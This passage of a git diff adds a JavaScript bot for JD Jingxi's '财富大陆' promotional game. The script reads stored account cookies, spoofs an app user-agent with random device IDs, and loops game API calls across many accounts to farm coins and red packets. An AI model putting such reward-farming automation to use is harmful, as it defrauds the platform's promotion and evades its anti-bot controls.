e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/gua_wealth_island.js b/gua_wealth_island.js new file mode 100644 index 0000000..4a10d90 --- /dev/null +++ b/gua_wealth_island.js @@ -0,0 +1,1320 @@ +/* + https://st.jingxi.com/fortune_island/index2.html + + 18 0-23/2 * * * https://raw.githubusercontent.com/smiek2121/scripts/master/gua_wealth_island.js 财富大陆 + +*/ + +const $ = new Env('财富大陆'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +$.InviteList = [] +$.innerInviteList = []; +const HelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 + +// 热气球接客 每次运行接客次数 +let serviceNum = 10;// 每次运行接客次数 +if ($.isNode() && process.env.gua_wealth_island_serviceNum) { + serviceNum = Number(process.env.gua_wealth_island_serviceNum); +} + +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.appId = 10032; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return + } + console.log(`\n +想要我的财富吗 +我把它放在一个神奇的岛屿 +去找吧 +`) + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i] + ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); + UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await run(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }).finally(() => { + $.done(); + }) +async function run() { + try{ + $.HomeInfo = '' + $.LeadInfo = '' + $.buildList = '' + $.Fund = '' + $.task = [] + $.Biztask = [] + $.Aggrtask = [] + $.Employtask = [] + + await GetHomePageInfo() + + if($.HomeInfo){ + $.InviteList.push($.HomeInfo.strMyShareId) + console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) + } + if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ + await $.wait(2000) + console.log(`\n新手引导`) + await noviceTask() + await GetHomePageInfo() + await $.wait(1000) + } + // 寻宝 + await XBDetail() + // 加速卡 + await GetProp() + // 故事会 + await StoryInfo() + // 建筑升级 + await buildList() + // 签到 邀请奖励 + await sign() + // 签到-小程序 + await signs() + // 捡垃圾 + await pickshell(1) + // 热气球接客 + // await service(serviceNum) + // 倒垃圾 + await RubbishOper() + // 导游 + await Guide() + // 撸珍珠 + await Pearl() + // 牛牛任务 + await ActTask() + // 日常任务、成就任务 + await UserTask() + + } + catch (e) { + console.log(e); + } +} +async function GetHomePageInfo() { + let e = getJxAppToken() + let additional= `&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}&ddwTaskId=&strShareId=&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor%2Cdaily_task%2Cguider_daily_task%2Ccfd_has_show_selef_point` + let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone` + $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) + if($.HomeInfo){ + $.Fund = $.HomeInfo.Fund || '' + $.LeadInfo = $.HomeInfo.LeadInfo || '' + $.buildInfo = $.HomeInfo.buildInfo || '' + $.XbStatus = $.HomeInfo.XbStatus || [] + if($.buildInfo.buildList){ + $.buildList = $.buildInfo.buildList || '' + } + } +} +// 寻宝 +async function XBDetail(){ + try{ + let XBDetail = $.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.ddwColdEndTm <= parseInt(Date.now()/1000,10)) + if(XBDetail.length > 0){ + console.log(`\n开始寻宝`) + for(let k of XBDetail || []){ + if(k.ddwColdEndTm <= parseInt(Date.now()/1000,10)){ + await $.wait(2000) + let res = await taskGet(`user/TreasureHunt`, '_cfd_t,bizCode,dwEnv,ptag,source,strIndex,strZone', `&strIndex=${k.strIndex}`) + if(res && res.iRet == 0){ + if (res.AwardInfo.dwAwardType === 0) { + console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 金币`) + } else if (res.AwardInfo.dwAwardType === 1) { + console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 财富`) + } else { + console.log("寻宝失败\n"+$.toObj(res,res)) + } + }else if(res && res.sErrMsg){ + console.log(`寻宝失败 ${res.sErrMsg}`) + }else{ + console.log("寻宝失败\n"+$.toObj(res,res)) + } + } + } + }else{ + console.log('\n暂无宝物') + } + }catch (e) { + $.logErr(e); + } +} +// 加速卡任务 +async function GetProp(){ + try{ + console.log('\n加速卡任务') + await $.wait(2000) + $.propTask = await taskGet(`story/GetPropTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.propTask && $.propTask.Data && $.propTask.Data.TaskList){ + for(let t of $.propTask.Data.TaskList || []){ + let res = '' + if(t.dwCompleteNum < t.dwTargetNum){ + if([9,11].includes(t.dwPointType)) continue + res = await taskGet('DoTask2', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${t.ddwTaskId}&configExtra=`) + if (res.ret === 0) { + console.log(`[${t.strTaskName}]加速卡任务完成`) + } else { + console.log(`[${t.strTaskName}]加速卡任务失败`, $.toStr(res,res)) + await $.wait(2000) + continue + } + await $.wait(2000) + } + if(t.dwAwardStatus == 2){ + res = await taskGet('Award2', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${t.ddwTaskId}`) + if (res.ret === 0) { + console.log(`[${t.strTaskName}]加速卡领取成功`) + if(res.data.prizeInfo){ + let task = $.toObj(res.data.prizeInfo,res.data.prizeInfo) + let msg = [] + for(let card of task.CardInfo.CardList || []){ + msg.push(card.strCardName) + } + console.log(`获得[${msg.join(',')}]加速卡`) + } + } else { + console.log(`[${t.strTaskName}]加速卡领取失败`, $.toStr(res,res)) + await $.wait(2000) + continue + } + await $.wait(2000) + } + } + } + await $.wait(2000) + $.propInfo = await taskGet(`user/GetPropCardCenterInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + console.log('\n加速卡使用') + if($.propInfo && $.propInfo.cardInfo){ + let flag = $.propInfo.cardInfo.dwWorkingType || 0 + let res = '' + for (let card of $.propInfo.cardInfo.coincard || []) { + if(card.ddwCardTargetTm > 0 ) console.log(`[金币卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',card.ddwCardTargetTm*1000)}`) + // if(flag == 1 || flag == 3) break + if (card.dwCardNums !== 0 && (flag == 0 || flag == 2)) { + res = await taskGet('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', `&ptag=&dwCardType=1&strCardTypeIndex=${encodeURIComponent(card.strCardTypeIndex)}`) + if (res.iRet === 0) { + console.log(`[${card.strCardName}]金币卡使用成功`) + if(res.ddwCardTargetTm > 0 ) console.log(`[金币卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',res.ddwCardTargetTm*1000)}`) + flag += 1 + } else { + console.log(`[${card.strCardName}]金币卡使用失败`, $.toStr(res,res)) + } + await $.wait(2000) + } + } + for (let card of $.propInfo.cardInfo.richcard || []) { + if(card.ddwCardTargetTm > 0 ) console.log(`[财富卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',card.ddwCardTargetTm*1000)}`) + // if(flag == 2 || flag == 3) break + if (card.dwCardNums !== 0 && (flag == 0 || flag == 1)) { + res = await taskGet('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', `&ptag=&dwCardType=2&strCardTypeIndex=${encodeURIComponent(card.strCardTypeIndex)}`) + if (res.iRet === 0) { + console.log(`[${card.strCardName}]财富卡使用成功`) + if(res.ddwCardTargetTm > 0 ) console.log(`[财富卡]结束时间:${$.time('yyyy-MM-dd HH:mm:ss',res.ddwCardTargetTm*1000)}`) + flag += 2 + } else { + console.log(`[${card.strCardName}]财富卡使用失败`, $.toStr(res,res)) + } + await $.wait(2000) + } + } + + } + }catch (e) { + console.log(e); + } +} +// 故事会 +async function StoryInfo(){ + try{ + if($.HomeInfo.StoryInfo && $.HomeInfo.StoryInfo.StoryList){ + let additional = `` + let stk = `` + let type = `` + let res = `` + await $.wait(1000) + // 点击故事 + if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 1){ + if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4){ + console.log(`\n贩卖`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `CollectorOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1){ + console.log(`\n故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` + type = `SpecialUserOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2){ + console.log(`\n美人鱼`) + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=1&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `MermaidOper` + res = await taskGet(`story/${type}`, stk, additional) + console.log(JSON.stringify(res)) + } + } + if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4 && ( (res && res.iRet == 0) || res == '')){ + await pickshell(4) + await $.wait(1000) + console.log(`查询背包`) + additional = `&ptag=` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + res = await taskGet(`story/querystorageroom`, stk, additional) + let TypeCnt = [] + if(res.Data && res.Data.Office){ + for(let i of res.Data.Office){ + TypeCnt.push(`${i.dwType}:${i.dwCount}`) + } + } + TypeCnt = TypeCnt.join(`|`) + if(TypeCnt){ + console.log(`出售`) + await $.wait(1000) + additional = `&ptag=&strTypeCnt=${TypeCnt}&dwSceneId=2` + stk = `_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone` + res = await taskGet(`story/sellgoods`, stk, additional) + await printRes(res, '贩卖') + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `CollectorOper` + res = await taskGet(`story/${type}`, stk, additional) + // console.log(JSON.stringify(res)) + } + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1 && ( (res && res.iRet == 0) || res == '')){ + if(res && res.iRet == 0 && res.Data && res.Data.Serve && res.Data.Serve.dwWaitTime){ + console.log(`等待 ${res.Data.Serve.dwWaitTime}秒`) + await $.wait(res.Data.Serve.dwWaitTime * 1000) + await $.wait(1000) + } + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=3&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` + type = `SpecialUserOper` + res = await taskGet(`story/${type}`, stk, additional) + await printRes(res, `故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) + // console.log(JSON.stringify(res)) + + }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2 && ( (res && res.iRet == 0) || res == '')){ + if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 4){ + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + }else{ + additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` + } + await $.wait(5000) + stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` + type = `MermaidOper` + res = await taskGet(`story/${type}`, stk, additional) + await printRes(res,'美人鱼') + // console.log(JSON.stringify(res)) + } + } + }catch (e) { + $.logErr(e); + } +} +// 建筑升级 +async function buildList(){ + try{ + await $.wait(2000) + console.log(`\n升级房屋、收集金币`) + if($.buildList){ + for(let i in $.buildList){ + let item = $.buildList[i] + let title = '未识别' + if(item.strBuildIndex == 'food'){ + title = '美食城' + }else if(item.strBuildIndex == 'sea'){ + title = '旅馆' + }else if(item.strBuildIndex == 'shop'){ + title = '商店' + }else if(item.strBuildIndex == 'fun'){ + title = '游乐场' + } + let additional = `&strBuildIndex=${item.strBuildIndex}` + let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + let GetBuildInfo = await taskGet(`user/GetBuildInfo`, stk, additional) + let msg = `\n[${title}] 当前等级:${item.dwLvl} 接待收入:${item.ddwOneceVistorAddCoin}/人 座位人数:${item.dwContain}` + if(GetBuildInfo) msg += `\n升级->需要金币:${GetBuildInfo.ddwNextLvlCostCoin} 获得财富:${GetBuildInfo.ddwLvlRich}` + console.log(msg) + await $.wait(1000) + if(GetBuildInfo.dwCanLvlUp > 0){ + console.log(`${item.dwLvl == 0 && '开启' || '升级'}${title}`) + if(item.dwLvl == 0){ + await taskGet(`user/createbuilding`, stk, additional) + }else{ + if(GetBuildInfo){ + additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&ddwCostCoin=${GetBuildInfo.ddwNextLvlCostCoin}` + stk = `_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone` + let update = await taskGet(`user/BuildLvlUp`, stk, additional) + if(update && update.story && update.story.strToken){ + await $.wait(Number(update.story.dwWaitTriTime) * 1000) + await $.wait(1000) + additional= `&strToken=${update.story.strToken}&ddwTriTime=${update.story.ddwTriTime}` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + } + } + } + await $.wait(2000) + } + additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&dwType=1` + stk = `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone` + let CollectCoin = await taskGet(`user/CollectCoin`, stk, additional) + if(CollectCoin && CollectCoin.ddwCoinBalance){ + console.log(`收集金币:${CollectCoin.ddwCoin} 当前剩余:${CollectCoin.ddwCoinBalance}`) + await $.wait(Number(CollectCoin.story.dwWaitTriTime) * 1000) + additional= `&strToken=${CollectCoin.story.strToken}&ddwTriTime=${CollectCoin.story.ddwTriTime}` + stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + } + await $.wait(1000) + } + await GetHomePageInfo() + await $.wait(1000) + } + if($.Fund && $.Fund.dwIsGetGift < $.Fund.dwIsShowFund){ + console.log(`\n领取开拓基金${Number($.Fund.strGiftName)}元`) + let additional= `` + let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` + let drawpackprize = await taskGet(`user/drawpackprize`, stk, additional) + } + + }catch (e) { + $.logErr(e); + } +} +// 签到 邀请奖励 +async function sign(){ + try{ + // 签到 + await $.wait(2000) + $.Aggrtask = await taskGet(`story/GetTakeAggrPage`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ + if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { + console.log('\n签到') + let flag = false + let ddwCoin = 0 + let ddwMoney = 0 + let dwPrizeType = 0 + let strPrizePool = 0 + let dwPrizeLv = 0 + for(i of $.Aggrtask.Data.Sign.SignList){ + if(i.dwStatus == 0){ + flag = true + ddwCoin = i.ddwCoin || 0 + ddwMoney = i.ddwMoney || 0 + dwPrizeType = i.dwPrizeType || 0 + strPrizePool = i.strPrizePool || 0 + dwPrizeLv = i.dwBingoLevel || 0 + break; + } + } + if(flag){ + let e = getJxAppToken() + let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` + let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` + let res = await taskGet(`story/RewardSign`, stk, additional) + await printRes(res, '签到') + } + } + } + + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ + if($.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ + console.log(`\n领取邀请奖励(${$.Aggrtask.Data.Employee.EmployeeList.length || 0}/${$.Aggrtask.Data.Employee.dwNeedTotalPeople || 0})`) + for(let i of $.Aggrtask.Data.Employee.EmployeeList){ + if(i.dwStatus == 0){ + let res = await taskGet(`story/helpdraw`, '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', `&ptag=&dwUserId=${i.dwId}`) + await printRes(res, '邀请奖励') + } + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 签到-小程序 +async function signs(){ + try{ + // 签到-小程序 + await $.wait(2000) + $.Aggrtask = await taskGet(`story/GetTakeAggrPages`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ + if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { + console.log('\n签到-小程序') + let flag = false + let ddwCoin = 0 + let ddwMoney = 0 + let dwPrizeType = 0 + let strPrizePool = 0 + let dwPrizeLv = 0 + for(i of $.Aggrtask.Data.Sign.SignList){ + if(i.dwStatus == 0){ + flag = true + ddwCoin = i.ddwCoin || 0 + ddwMoney = i.ddwMoney || 0 + dwPrizeType = i.dwPrizeType || 0 + strPrizePool = i.strPrizePool || 0 + dwPrizeLv = i.dwBingoLevel || 0 + break; + } + } + if(flag){ + let e = getJxAppToken() + let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` + let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` + let res = await taskGet(`story/RewardSigns`, stk, additional) + await printRes(res, '签到-小程序') + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 捡垃圾 +async function pickshell(num = 1){ + return new Promise(async (resolve) => { + try{ + console.log(`\n捡垃圾`) + // pickshell dwType 1珍珠 2海螺 3大海螺 4海星 5小贝壳 6扇贝 + for(i=1;num--;i++){ + await $.wait(2000) + $.queryshell = await taskGet(`story/queryshell`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) + let c = 6 + for(i=1;c--;i++){ + let o = 1 + let name = '珍珠' + if(i == 2) name = '海螺' + if(i == 3) name = '大海螺' + if(i == 4) name = '海星' + if(i == 5) name = '小贝壳' + if(i == 6) name = '扇贝' + do{ + console.log(`去捡${name}第${o}次`) + o++; + let res = await taskGet(`story/pickshell`, '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', `&ptag=&dwType=${i}`) + await $.wait(200) + if(!res || res.iRet != 0){ + break + } + }while (o < 20) + } + } + }catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }) +} +// 热气球接客 +async function service(num = 1){ + return new Promise(async (resolve) => { + try{ + console.log(`\n热气球接客`) + let arr = ['food','sea','shop','fun'] + for(i=1;num--;i++){ + let strBuildIndex = arr[Math.floor((Math.random()*arr.length))] + console.log(`第${i}/${num+i}次:${strBuildIndex}`) + let res = await taskGet(`user/SpeedUp`, '_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${strBuildIndex}`) + if(res && res.iRet == 0){ + console.log(`当前气球次数:${res.dwTodaySpeedPeople} 金币速度:${res.ddwSpeedCoin}`) + // additional= `&strToken=${res.story.strToken}&ddwTriTime=${res.story.ddwTriTime}` + // stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` + // await taskGet(`story/QueryUserStory`, stk, additional) + await $.wait(1000) + } + } + }catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }) +} +// 倒垃圾 +async function RubbishOper(){ + try{ + // 倒垃圾 + await $.wait(2000) + $.QueryRubbishInfo = await taskGet(`story/QueryRubbishInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.QueryRubbishInfo && $.QueryRubbishInfo.Data && $.QueryRubbishInfo.Data.StoryInfo.StoryList){ + for(let i of $.QueryRubbishInfo.Data.StoryInfo.StoryList){ + let res = '' + if(i.strStoryId == 3){ + console.log(`\n倒垃圾`) + $.RubbishOper = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', '&ptag=&dwType=1&dwRewardType=0') + if($.RubbishOper && $.RubbishOper.Data && $.RubbishOper.Data.ThrowRubbish && $.RubbishOper.Data.ThrowRubbish.Game && $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ + for(let j of $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ + console.log(`放置[${j.strName}]等待任务完成`) + res = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', `&ptag=&dwType=2&dwRewardType=0&dwRubbishId=${j.dwId}`) + await $.wait(2000) + } + if(res && res.Data && res.Data.RubbishGame && res.Data.RubbishGame.AllRubbish && res.Data.RubbishGame.AllRubbish.dwIsGameOver && res.Data.RubbishGame.AllRubbish.dwIsGameOver == 1){ + console.log(`任务完成获得:${res.Data.RubbishGame.AllRubbish.ddwCoin && res.Data.RubbishGame.AllRubbish.ddwCoin+'金币' || ''}`) + }else{ + console.log(JSON.stringify(res)) + } + } + } + } + } + }catch (e) { + $.logErr(e); + } +} +// 雇佣导游 +async function Guide(){ + try{ + await $.wait(2000) + $.Employtask = await taskGet(`user/EmployTourGuideInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') + if($.Employtask && $.Employtask.TourGuideList){ + console.log(`\n雇佣导游`) + let num = $.Employtask.dwRemainGuideCnt + console.log(`当前可雇佣劳动人数:${num}`) + let arr = []; + for(let i in $.Employtask.TourGuideList){ + let item = $.Employtask.TourGuideList[i] + let larr = [],res = true + arr.forEach((x)=>{ + if(x.ddwProductCoin < item.ddwProductCoin && res == true){ + larr.push(item) + res = false + } + larr.push(x) + }) + if(res) larr.push(item) + arr = larr + } + for(let i of arr){ + console.log(`${i.strGuideName} 收益:${i.ddwProductCoin} 支付成本:${i.ddwCostCoin} 剩余工作时长:${timeFn(Number(i.ddwRemainTm || 0) * 1000)}`) + let dwIsFree = 0 + let ddwConsumeCoin = i.ddwCostCoin + if(i.dwFreeMin != 0) dwIsFree = 1 + if(num > 0 && i.ddwRemainTm == 0){ + res = await taskGet(`user/EmployTourGuide`, '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${i.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${ddwConsumeCoin}`) + if(res.iRet == 0){ + console.log(`雇佣成功`) + num--; + }else{ + console.log(`雇佣失败:`, JSON.stringify(res)) + } + await $.wait(3000) + } + } + } + + }catch (e) { + $.logErr(e); + } +} +// 撸珍珠 +async function Pearl(){ + try{ + await $.wait(2000) + $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') + console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个珍珠${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) + if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ + let res = '' + res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) + if(res && res.iRet == 0 && res.strToken){ + res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) + if(res && res.iRet == 0){ + if(res.strPrizeName){ + console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) + }else{ + console.log(`抽奖获得:${$.toObj(res,res)}`) + } + }else{ + console.log("抽奖失败\n"+$.toObj(res,res)) + } + }else{ + console.log($.toObj(res,res)) + } + } + if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { + let b = 1 + console.log(`合珍珠${b}次 `) + // b = 8-$.ComposeGameState.dwCurProgress + for(i=1;b--;i++){ + let n = Math.ceil(Math.random()*12+12) + console.log(`上报次数${n}`) + for(m=1;n--;m++){ + console.log(`上报第${m}次`) + await $.wait(5000) + await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) + let s = Math.floor((Math.random()*3)) + let n = 0 + if(s == 1) n = 1 + if(n === 1){ + let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) + if(res && res.iRet == 0){ + console.log(`上报得红包:${res.ddwAwardHb && 